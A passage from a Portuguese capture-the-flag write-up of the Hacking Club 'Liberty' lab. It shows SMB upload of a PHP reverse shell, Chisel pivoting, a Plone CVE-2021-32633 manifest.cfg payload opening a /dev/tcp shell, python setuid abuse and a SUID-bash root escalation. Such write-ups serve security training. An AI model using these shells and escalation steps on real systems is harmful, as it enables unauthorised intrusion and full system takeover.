Você está na página 1de 17

Write-Up - Liberty

Write-up liberty

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso
incrível se você não sabe por onde começar. Além das máquinas vulneráveis, você tem
acesso a aulas e desafios para praticar suas habilidades e acesso a uma comunidade
exclusiva para jogar e se desafiar.
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking,
experimente.

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas
estão abertas. Então, vamos usar uma ferramenta chamada nmap.
Ports:

Write-Up - Liberty 1
Porta 22 - SSH

Porta 80 - HTTP

Porta 139 - RCPBIND

Porta 445 - SMB

Podemos começar olhando website que está sendo executado na porta 80:

Write-Up - Liberty 2
Aparentemente temos uma aplicação estática, podemos fazer fazer um fuzzing para
encontrar arquivos e diretórios, estarei utilizando o ffuf.

Após fazer a fuzzing temos dois diretórios, podemos dar uma olhada neles:

Não temos nada de relevante até o momento, podemos dar uma olha no sistema de
compartilhamentos de arquivos (SMB).

Write-Up - Liberty 3
Como podemos ver, conseguimos listar os compartilhamentos, pois o samba está sem
autenticação! Podemos dar uma olhada em public_files.

Aparentemente o samba está compartilhando o document_root, podemos tentar enviar


algum arquivo para ver se temos permissão de escrita em alguma pasta.

Temos permissão de escrita na vendor, ao acessar a vendor pelo o website, temos o


nosso arquivo gravado na mesma:

Write-Up - Liberty 4
Podemos realizar uma poc pra ver se o Back-end é em PHP.

Write-Up - Liberty 5
Sabendo que o Back-end é php, podemos criar uma reverse shell:

<?php system("/bin/bash -c 'sh -i >& /dev/tcp/<IP-VPN>/4444 0>&1'"); ?>

Ouvinte do netcat para receber a conexão:

Após acessar o nosso arquivo → shell.php recebemos a shell:

Write-Up - Liberty 6
Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

Listando a home temos um usuário → manager_plone, mas não temos permissão pra
acessar a home do mesmo.

Write-Up - Liberty 7
Ao executar o comando hostname -I, podemos ver o ip da rede do Docker:

Podemos escanear essa rede para poder encontrar um possível novo host na rede do
mesmo, para isso estarei utilizando o binário estático do nmap, você pode baixá-lo no
link abaixo:

static-binaries/nmap at master · andrew-d/static-binaries


Various *nix tools built as statically-linked binaries - static-
binaries/nmap at master · andrew-d/static-binaries
https://github.com/andrew-d/static-binaries/blob/master/binaries/li
nux/x86_64/nmap

Após ter baixado o nmap estático, podemos enviá-lo ao servidor:

Write-Up - Liberty 8
Com o nmap no servidor, podemos escanear a rede do Docker:

Após encontrar o host, podemos fazer uma varredura de porta no mesmo:

Temos um serviço web sendo executado na porta 8080, podemos utilizar a técnica de
Pivoting para jogar a conexão da porta 8080 desse host para a nossa máquina, estarei
utilizando o Chisel, você pode baixá-lo no link abaixo:

https://github.com/jpillora/chisel

Após ter baixado o chisel e ter enviado ao servidor, podemos executar os seguintes
comandos abaixo.
Na nossa máquina local:

Write-Up - Liberty 9
./chisel server -p 9000 --reverse

No servidor:

./chisel client <IP-VPN>:9000 R:5000:172.17.0.2:8080

Podemos acessar a aplicação no nosso navegador → http://127.0.0.1:5000

Plone é um sistema de gerenciamento de conteúdo escrito na linguagem Python e que


roda sobre um Servidor de Aplicações Zope e sobre o framework CMF. O Plone pode

Write-Up - Liberty 10
ser usado para a construção de portais de informação em intranets, extranets e na
Internet.

Podemos clicar em (Create a new Plone site) e logar com as credenciais padrão →
admin:admin

Após estar logado, podemos ver a versão do Plone indo em admin → Site Setup:

Procurando por exploit nessa versão do Plone, temos a CVE-2021-32633, essa versão
está vulnerável a Remote Code Execution (RCE), podemos utilizar a Poc no link
abaixo para conseguirmos uma reverse shell:

Write-Up - Liberty 11
Write-up: Plone Authenticated RCE (CVE-2021-32633)
Join the journey into Plone CMS that lead us to discover an
authenticated RCE vulnerability Plone is a Python-based open
source content management project actively developed since 2002.
https://cyllective.com/blog/post/plone-authenticated-rce-cve-2021
-32633/

Podemos ir em Theming → New theme, agora podemos editar o arquivo →


manifest.cfg:

Podemos escrever a nossa payload:

[theme:parameters]
x = python:nocall("random/_os/system")("/bin/bash -c 'sh -i >& /dev/tcp/<IP-VPN>/4445 0>&1'")

Ouvinte do netcat para receber a conexão:

Write-Up - Liberty 12
Após salvar o arquivo e clicar em → Preview theme recebemos a shell:

Após spawnar uma shell melhor podemos começar a enumerar, procurando por
capabilities temos o python3.8, temos a capacidade de setar o nosso uid para 0:

Podemos então setar o nosso uid para 0:

python3.8 -c "import os;os.setuid(0);os.system('/bin/bash')"

Write-Up - Liberty 13
Acessando o /mnt temos o diretório → only_plone:

Acessando o mesmo, temos a home do usuário manager_plone, aparentemente o host


principal está compartilhando a home do usuário no Docker:

Acessando o diretório .ssh podemos encontrar a chave id_rsa do usuário


manager_plone, podemos utilizar a mesma para acessar o host principal:

Write-Up - Liberty 14
Podemos pegar a nossa primeira flag:

Privesc
Sabendo que o host principal está compartilhando a home do usuário manager_plone,
podemos escalar privilégios da seguinte maneira:

1. Copiar o bash para a home do usuário manager_plone

2. No docker iremos utilizar o comando chown para mudar o dono desse binário (root)

3. Dar permissão SUID para esse binário (bash)

No Host principal:

cp /bin/bash .

Write-Up - Liberty 15
No Docker:

chown root:root bash


chmod u+s bash

Feito isso temos o binário do bash com SUID , agora basta executar o comando →
./bash -p

E somos root, agora basta pegar a última flag que se encontra no diretório /root

Write-Up - Liberty 16
Write-Up - Liberty 17

Você também pode gostar